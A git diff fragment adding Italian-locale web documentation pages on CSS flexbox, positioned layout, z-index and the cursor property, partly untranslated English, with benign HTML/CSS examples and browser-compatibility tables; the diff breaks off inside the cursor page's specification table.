+<p>Nella proprietà di allineamento del Flexbox basta "true" per centrare, a differenza degli altri metodi CSS. Ciò significa che gli elementi flessibili rimarranno centrati, anche nel caso di overflow nel contenuto flessibile. Questo a volte può essere un problema, tuttavia, se l'overflow oltre il bordo superiore, o oltre il bordo sinistro (in LTR languages like English; the problem occurs on the right edge in RTL languages like Arabic), dove non si può scorrere in quell'area, anche se lì ci sono contenuti! In una futura relase, la proprietà di allinneamento sarà estesa un'opzione "safe". <span id="result_box" lang="it"><span class="hps">Per ora, se</span> <span class="hps">questo è un problema</span><span>,</span> <span class="hps">si possono invece</span> <span class="hps">utilizzare</span> <span class="hps">i margini</span> <span class="hps">per ottenere</span> <span class="hps">la centratura</span><span>,</span> </span> as they'll respond in a "safe" way and stop centering if they overflow. Invece di utilizzare <code>align-</code> properties, basta inserire auto margins sugli elementi flessibili che si desidera centrare. Invece della  <code>justify-</code> properties, inserire auto margins sui bordi esterni del primo e ultimo elemento flessibile all'interno del container flessibile. L' auto margins "flex" and assume the leftover space, centering the flex items when there is leftover space, and switching to normal alignment when not. Però, se si sta cercando di sostituire <code>justify-content</code> con margin-based centering in a multi-line flexbox, you're probably out of luck, as you need to put the margins on the first and last flex item on each line. Unless you can predict ahead of time which items will end up on which line, you can't reliably use margin-based centering in the main axis to replace the <code>justify-content</code> property.</p>
+
+<p>Recall that while the display order of the elements is independent of their order in the source code, this independence affects only the visual rendering, leaving speech order and navigation based on the source order. Even the {{cssxref("order")}} property does not affect speech or navigation sequence. Thus developers must take care to order elements properly in the source so as not to damage the document's accessibility.</p>
+
+<h2 id="Flexible_box_properties">Flexible box properties</h2>
+
+<h3 id="Proprietà_non_influenzate_da_flexible_boxes">Proprietà non influenzate da flexible boxes</h3>
+
+<p>Perché il flexible boxes usa un diverso algoritmo di layout, alcune proprietà non sono sensate su un contenitore flessibile:</p>
+
+<ul>
+ <li><code>column-*</code> proprietà della <a href="/en-US/docs/Web/CSS/Using_CSS_multi-column_layouts">multiple column module</a> non hanno nessuno effetto sugli elementi flessibili.</li>
+ <li>{{cssxref("float")}} e {{cssxref("clear")}} non hanno effetto sugli elementi flessibili. Usando <code>float</code> si causa il <code>display</code> property che è un elemento <code>block</code>.</li>
+ <li>{{cssxref("vertical-align")}} non ha alcun effetto sull'allineamento degli elementi flessibili.</li>
+</ul>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempi_base_flex">Esempi base flex</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo</span> <span class="hps">esempio di base</span> <span class="hps">mostra come applicare</span> <span class="hps">la "flessibilità</span><span>" per</span> <span class="hps">un elemento e</span> <span class="hps">come</span> <span class="hps">gli</span> <span class="hps">elementi</span> fratelli <span class="hps">si comportano in</span> <span class="hps">uno stato</span> <span class="hps">flessibile.</span></span></p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+
+   .flex
+   {
+      /* basic styling */
+      width: 350px;
+      height: 200px;
+      border: 1px solid #555;
+      font: 14px Arial;
+
+      /* flexbox setup */
+      display: -webkit-flex;
+      -webkit-flex-direction: row;
+
+      display: flex;
+      flex-direction: row;
+   }
+
+   .flex &gt; div
+   {
+      -webkit-flex: 1 1 auto;
+      flex: 1 1 auto;
+
+      width: 30px; /* To make the transition work nicely.  (Transitions to/from
+                      "width:auto" are buggy in Gecko and Webkit, at least.
+                      See http://bugzil.la/731886 for more info.) */
+
+      -webkit-transition: width 0.7s ease-out;
+      transition: width 0.7s ease-out;
+   }
+
+   /* colors */
+   .flex &gt; div:nth-child(1){ background : #009246; }
+   .flex &gt; div:nth-child(2){ background : #F1F2F1; }
+   .flex &gt; div:nth-child(3){ background : #CE2B37; }
+
+   .flex &gt; div:hover
+   {
+        width: 200px;
+   }
+
+   &lt;/style&gt;
+
+ &lt;/head&gt;
+ &lt;body&gt;
+  &lt;p&gt;Flexbox nuovo&lt;/p&gt;
+  &lt;div class="flex"&gt;
+    &lt;div&gt;uno&lt;/div&gt;
+    &lt;div&gt;due&lt;/div&gt;
+    &lt;div&gt;tre&lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Holy_Grail_Layout_example">Holy Grail Layout example</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Questo esempio dimostra come</span> <span class="hps">FlexBox</span> <span class="hps">fornisce</span> <span class="hps">la possibilità di modificare</span> <span class="hps">dinamicamente</span> <span class="hps">il layout per</span> <span class="hps">diverse risoluzioni dello schermo</span><span>.</span> <span class="hps">Il seguente diagramma illustra</span> <span class="hps">la trasformazione</span><span>.</span></span></p>
+
+<p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p>
+
+<p>Qui è illustrato il caso in cui il layout di pagina adatto ad una finestra del browser deve essere ottimizzato per una finestra di smartphone. Gli elementi non solo riducono le dimensioni, ma anche disposizione. Flexbox lo rende molto semplice.</p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+
+  body {
+   font: 24px Helvetica;
+   background: #999999;
+  }
+
+  #main {
+   min-height: 800px;
+   margin: 0px;
+   padding: 0px;
+   display: -webkit-flex;
+   display:         flex;
+   -webkit-flex-flow: row;
+           flex-flow: row;
+   }
+
+  #main &gt; article {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #cccc33;
+   border-radius: 7pt;
+   background: #dddd88;
+   -webkit-flex: 3 1 60%;
+           flex: 3 1 60%;
+   -webkit-order: 2;
+           order: 2;
+   }
+
+  #main &gt; nav {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 1;
+           order: 1;
+   }
+
+  #main &gt; aside {
+   margin: 4px;
+   padding: 5px;
+   border: 1px solid #8888bb;
+   border-radius: 7pt;
+   background: #ccccff;
+   -webkit-flex: 1 6 20%;
+           flex: 1 6 20%;
+   -webkit-order: 3;
+           order: 3;
+   }
+
+  header, footer {
+   display: block;
+   margin: 4px;
+   padding: 5px;
+   min-height: 100px;
+   border: 1px solid #eebb55;
+   border-radius: 7pt;
+   background: #ffeebb;
+   }
+
+  /* Too narrow to support three columns */
+  @media all and (max-width: 640px) {
+
+   #main, #page {
+    -webkit-flex-flow: column;
+            flex-direction: column;
+   }
+
+   #main &gt; article, #main &gt; nav, #main &gt; aside {
+    /* Return them to document order */
+    -webkit-order: 0;
+            order: 0;
+   }
+
+   #main &gt; nav, #main &gt; aside, header, footer {
+    min-height: 50px;
+    max-height: 50px;
+   }
+  }
+
+ &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+ &lt;header&gt;header&lt;/header&gt;
+ &lt;div id='main'&gt;
+    &lt;article&gt;article&lt;/article&gt;
+    &lt;nav&gt;nav&lt;/nav&gt;
+    &lt;aside&gt;aside&lt;/aside&gt;
+ &lt;/div&gt;
+ &lt;footer&gt;footer&lt;/footer&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Prova">Prova</h2>
+
+<p>Ci sono diversi siti per la sperimentazione del flexBox:</p>
+
+<ul>
+ <li><a href="http://demo.agektmr.com/flexbox/">Flexbox Playground</a></li>
+ <li><a href="http://the-echoplex.net/flexyboxes">Flexy Boxes</a></li>
+</ul>
+
+<h2 id="Cose_da_tenere_a_mente">Cose da tenere a mente</h2>
+
+<p>The algorithm describing how flex items are laid out can be pretty tricky at times. Here are a few things to consider to avoid bad surprises when designing using flexible boxes.</p>
+
+<p>Flexible boxes are laid out in conformance of the <a href="https://developer.mozilla.org/en-US/docs/CSS/writing-mode">writing mode</a>, which means that <strong>main start</strong> and <strong>main end</strong> are laid out according to the position of <strong>start</strong> and <strong>end</strong>.</p>
+
+<p><strong>cross start</strong> and <strong>cross end</strong> rely on the definition of the <strong>start</strong> or <strong>before</strong> position that depends on the value of <a href="/en-US/docs/Web/CSS/direction"><code>direction</code></a>.</p>
+
+<p>Page breaks are possible in flexible boxes layout as long as <code>break-</code> property allows it. CSS3 <code>break-after</code>, <code>break-before</code>, and <code>break-inside</code> as well as CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code>, and <code>page-break-inside</code> properties are accepted on a flex container, flex items, and inside flex items.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoDesktop("18.0")}}{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10{{property_prefix("-webkit")}}<sup>[5]</sup></td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10<sup>[5]</sup><br>
+    15 {{property_prefix("-webkit")}}</td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile("22.0")}}</td>
+   <td>
+    <p>1.0{{property_prefix("-moz")}}<sup>[2]</sup><br>
+     1.1</p>
+   </td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>1.3</td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Safari up to 6.0 ( 6.1 for iOS ) supported an old incompatible draft version of the specification. Safari 6.1( 7 for iOS ) has been updated to support the final version.</p>
+
+<p>[2] Up to Firefox 22, to activate flexbox support, the user has to change the <code>about:config</code> preference <code>layout.css.flexbox.enabled</code> to <code>true</code>. From Firefox 22 to Firefox 27, the preference is <code>true</code> by default, but the preference has been removed in Firefox 28.</p>
+
+<p>[3] Internet Explorer 10 supports an old incompatible draft version of the specification; Internet Explorer 11 <a href="http://msdn.microsoft.com/en-us/library/ie/dn265027%28v=vs.85%29.aspx">has been updated</a> to support the final version.</p>
+
+<p>[4] Android browser up to 4.3 supported an old incompatible draft version of the specification. Android 4.4 has been updated to support the final version.</p>
+
+<p>[5] While in the initial implementation in Opera 12.10 flexbox was not prefixed, it got prefixed in versions 15 to 16 of Opera and 15 to 19 of Opera Mobile with {{property_prefix("-webkit")}}. The prefix was removed again in Opera 17 and Opera Mobile 24.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/philipwalton/flexbugs">The Flexbugs project</a> for information on bugs in browsers' implementations of flexbox.</li>
+</ul>
diff --git a/files/it/web/css/css_positioning/index.html b/files/it/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..61afa2e242
--- /dev/null
+++ b/files/it/web/css/css_positioning/index.html
@@ -0,0 +1,63 @@
+---
+title: CSS Positioned Layout
+slug: Web/CSS/CSS_Positioning
+tags:
+  - CSS
+  - CSS Positioning
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Positioning
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Positioned Layout</strong> is a module of CSS that defines how to position elements on the page.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_properties">CSS properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index">Understanding CSS z-index</a></dt>
+ <dd>Presents the notion of stacking context and explains how z-ordering works, with several examples.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Positioning') }}</td>
+   <td>{{ Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/web/css/css_positioning/understanding_z_index/index.html b/files/it/web/css/css_positioning/understanding_z_index/index.html
new file mode 100644
index 0000000000..554652f1b8
--- /dev/null
+++ b/files/it/web/css/css_positioning/understanding_z_index/index.html
@@ -0,0 +1,51 @@
+---
+title: Understanding CSS z-index
+slug: Web/CSS/CSS_Positioning/Understanding_z_index
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Understanding_CSS_z-index
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<div>{{cssref}}</div>
+
+<p>In the most basic cases, <a href="/en-US/docs/Web/HTML">HTML</a> pages can be considered two-dimensional, because text, images, and other elements are arranged on the page without overlapping. In this case, there is a single rendering flow, and all elements are aware of the space taken by others. <span class="seoSummary">The {{cssxref("z-index")}} attribute lets you adjust the order of the layering of objects when rendering content.</span></p>
+
+<blockquote>
+<p><em>In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.</em></p>
+</blockquote>
+
+<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+
+<p>This means that CSS style rules allow you to position boxes on layers in addition to the normal rendering layer (layer 0). The Z position of each layer is expressed as an integer representing the stacking order for rendering. Greater numbers mean closer to the observer. Z position can be controlled with the CSS <code>z-index</code> property.</p>
+
+<p>Using <code>z-index</code> appears extremely easy: a single property, assigned a single integer number, with an easy-to-understand behaviour. However, when <code>z-index</code> is applied to complex hierarchies of HTML elements, its behaviour can be hard to understand or predict. This is due to complex stacking rules. In fact a dedicated section has been reserved in the CSS specification <a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a> to explain these rules better.</p>
+
+<p>This article will try to explain those rules, with some simplification and several examples.</p>
+
+<ol>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>: The stacking rules that apply when <code>z-index</code> is not used.</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float">Stacking with floated blocks</a>: How floating elements are handled with stacking.</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index">Using z-index</a>: How to use <code>z-index</code> to change default stacking.</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a>: Notes on the stacking context.</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a>: 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a>: 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a>: 3-level HTML hierarchy, z-index on the second level</li>
+</ol>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the English translation of an article I wrote in Italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under the <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a>.</li>
+ <li>Last Updated Date: July 9, 2005</li>
+</ul>
+
+<p><small><em>Author's note: Thanks to Wladimir Palant and Rod Whiteley for the review.</em></small></p>
+</div>
diff --git a/files/it/web/css/cursor/index.html b/files/it/web/css/cursor/index.html
new file mode 100644
index 0000000000..5284daf295
--- /dev/null
+++ b/files/it/web/css/cursor/index.html
@@ -0,0 +1,388 @@
+---
+title: cursor
+slug: Web/CSS/cursor
+tags:
+  - CSS
+  - CSS Property
+  - Layout
+  - NeedsBrowserCompatibility
+  - NeedsLiveSample
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>The <code>cursor</code> CSS property specifies the mouse cursor displayed when the mouse pointer is over an element.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("cursor")}}
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt>&lt;<code>uri</code>&gt;</dt>
+ <dd>A <code>url(…)</code> or a comma separated list <code>url(…), url(…), …</code>, pointing to an image file. More than one {{cssxref("&lt;uri&gt;")}} may be provided as fallback, in case some cursor image types are not supported. A non-URL fallback (one ore more of the other values) <strong>must</strong> be at the end of the fallback list. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
+ <dt><code>&lt;x&gt;</code> <code>&lt;y&gt;</code> {{ experimental_inline() }}</dt>
+ <dd>Optional x- and y-coordinates. Two unit-less non-negative numbers less than 32.</dd>
+ <dt>Keyword values</dt>
+ <dd>
+ <p><strong style="color: red; font-size: big;">Move mouse over value for testing:</strong></p>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Category</th>
+    <th>CSS value</th>
+    <th> </th>
+    <th>Description</th>
+   </tr>
+   <tr style="cursor: auto;">
+    <td rowspan="3">General</td>
+    <td><code>auto</code></td>
+    <td> </td>
+    <td>The browser determines the cursor to display based on the current context.<br>
+     E.g. equivalent to <code>text</code> when hovering text.</td>
+   </tr>
+   <tr style="cursor: default;">
+    <td><code>default</code></td>
+    <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+    <td>Default cursor, typically an arrow.</td>
+   </tr>
+   <tr style="cursor: none;">
+    <td><code>none</code></td>
+    <td> </td>
+    <td>No cursor is rendered.</td>
+   </tr>
+   <tr style="cursor: context-menu;">
+    <td rowspan="5" style="cursor: auto;">Links &amp; status</td>
+    <td><code>context-menu</code></td>
+    <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+    <td>A context menu is available under the cursor.<br>
+     Only IE 10 and up have implemented this on Windows: {{ Bug("258960") }}.</td>
+   </tr>
+   <tr style="cursor: help;">
+    <td><code>help</code></td>
+    <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating help is available.</td>
+   </tr>
+   <tr style="cursor: pointer;">
+    <td><code>pointer</code></td>
+    <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+    <td>E.g. used when hovering over links, typically a hand.</td>
+   </tr>
+   <tr style="cursor: progress;">
+    <td><code>progress</code></td>
+    <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+    <td>The program is busy in the background but the user can still interact with the interface (unlike for <code>wait</code>).</td>
+   </tr>
+   <tr style="cursor: wait;">
+    <td><code>wait</code></td>
+    <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+    <td>The program is busy (sometimes an hourglass or a watch).</td>
+   </tr>
+   <tr style="cursor: cell;">
+    <td rowspan="4" style="cursor: auto;">Selection</td>
+    <td><code>cell</code></td>
+    <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating that cells can be selected.</td>
+   </tr>
+   <tr style="cursor: crosshair;">
+    <td><code>crosshair</code></td>
+    <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+    <td>Cross cursor, often used to indicate selection in a bitmap.</td>
+   </tr>
+   <tr style="cursor: text;">
+    <td><code>text</code></td>
+    <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating text can be selected, typically an I-beam.</td>
+   </tr>
+   <tr style="cursor: vertical-text;">
+    <td><code>vertical-text</code></td>
+    <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating that vertical text can be selected, typically a sideways I-beam.</td>
+   </tr>
+   <tr style="cursor: alias;">
+    <td rowspan="5" style="cursor: auto;">Drag and drop</td>
+    <td><code>alias</code></td>
+    <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating an alias or shortcut is to be created.</td>
+   </tr>
+   <tr style="cursor: copy;">
+    <td><code>copy</code></td>
+    <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+    <td>Indicating that something can be copied.</td>
+   </tr>
+   <tr style="cursor: move;">
+    <td><code>move</code></td>
+    <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+    <td>The hovered object may be moved.</td>
+   </tr>
+   <tr style="cursor: no-drop;">
+    <td><code>no-drop</code></td>
+    <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+    <td>Cursor showing that a drop is not allowed at the current location.<br>
+     {{ bug("275173") }} on Windows, "no-drop is the same as not-allowed".</td>
+   </tr>
+   <tr style="cursor: not-allowed;">
+    <td><code>not-allowed</code></td>
+    <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+    <td>Cursor showing that something cannot be done.</td>
+   </tr>
+   <tr style="cursor: all-scroll;">
+    <td rowspan="15" style="cursor: auto;">Resize &amp; scrolling</td>
+    <td><code>all-scroll</code></td>
+    <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+    <td>Cursor showing that something can be scrolled in any direction (panned).<br>
+     {{ bug("275174") }} on Windows, "<em>all-scroll</em> is the same as <em>move</em>".</td>
+   </tr>
+   <tr style="cursor: col-resize;">
+    <td><code>col-resize</code></td>
+    <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>The item/column can be resized horizontally. Often rendered as arrows pointing left and right with a vertical bar separating.</td>
+   </tr>
+   <tr style="cursor: row-resize;">
+    <td><code>row-resize</code></td>
+    <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>The item/row can be resized vertically. Often rendered as arrows pointing up and down with a horizontal bar separating them.</td>
+   </tr>
+   <tr style="cursor: n-resize;">
+    <td><code>n-resize</code></td>
+    <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+    <td rowspan="8" style="cursor: auto;">Some edge is to be moved. For example, the <code>se-resize</code> cursor is used when the movement starts from the <em>south-east</em> corner of the box.</td>
+   </tr>
+   <tr style="cursor: e-resize;">
+    <td><code>e-resize</code></td>
+    <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: s-resize;">
+    <td><code>s-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: w-resize;">
+    <td><code>w-resize</code></td>
+    <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ne-resize;">
+    <td><code>ne-resize</code></td>
+    <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nw-resize;">
+    <td><code>nw-resize</code></td>
+    <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: se-resize;">
+    <td><code>se-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: sw-resize;">
+    <td><code>sw-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ew-resize;">
+    <td><code>ew-resize</code></td>
+    <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td rowspan="4" style="cursor: auto;">Indicates a bidirectional resize cursor.</td>
+   </tr>
+   <tr style="cursor: ns-resize;">
+    <td><code>ns-resize</code></td>
+    <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nesw-resize;">
+    <td><code>nesw-resize</code></td>
+    <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+   </tr>
+   <tr style="cursor: nwse-resize;">
+    <td><code>nwse-resize</code></td>
+    <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-in; cursor: zoom-in;">
+    <td rowspan="2">Zoom</td>
+    <td><code>zoom-in</code></td>
+    <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Indicates that something can be zoomed (magnified) in or out.</p>
+    </td>
+   </tr>
+   <tr style="cursor: -webkit-zoom-out; cursor: zoom-out;">
+    <td><code>zoom-out</code></td>
+    <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+   </tr>
+   <tr id="grab" style="cursor: -moz-grab; cursor: -webkit-grab; cursor: grab;">
+    <td rowspan="2">Grab</td>
+    <td><code>grab</code></td>
+    <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Indicates that something can be grabbed (dragged to be moved).</p>
+    </td>
+   </tr>
+   <tr style="cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing;">
+    <td><code>grabbing</code></td>
+    <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<pre class="brush:css">.foo { cursor: crosshair; }
+
+/* use prefixed-value if "zoom-in" isn't supported */
+.bar { cursor: -webkit-zoom-in;  cursor: zoom-in; }
+
+/* standard cursor value as fallback for url() <u>must</u> be provided (doesn't work without) */
+.baz { cursor: url(hyper.cur), auto }
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 UI', '#cursor', 'cursor') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Addition of several keywords and the positioning syntax for <code>url()</code>.</td>
+  </tr>
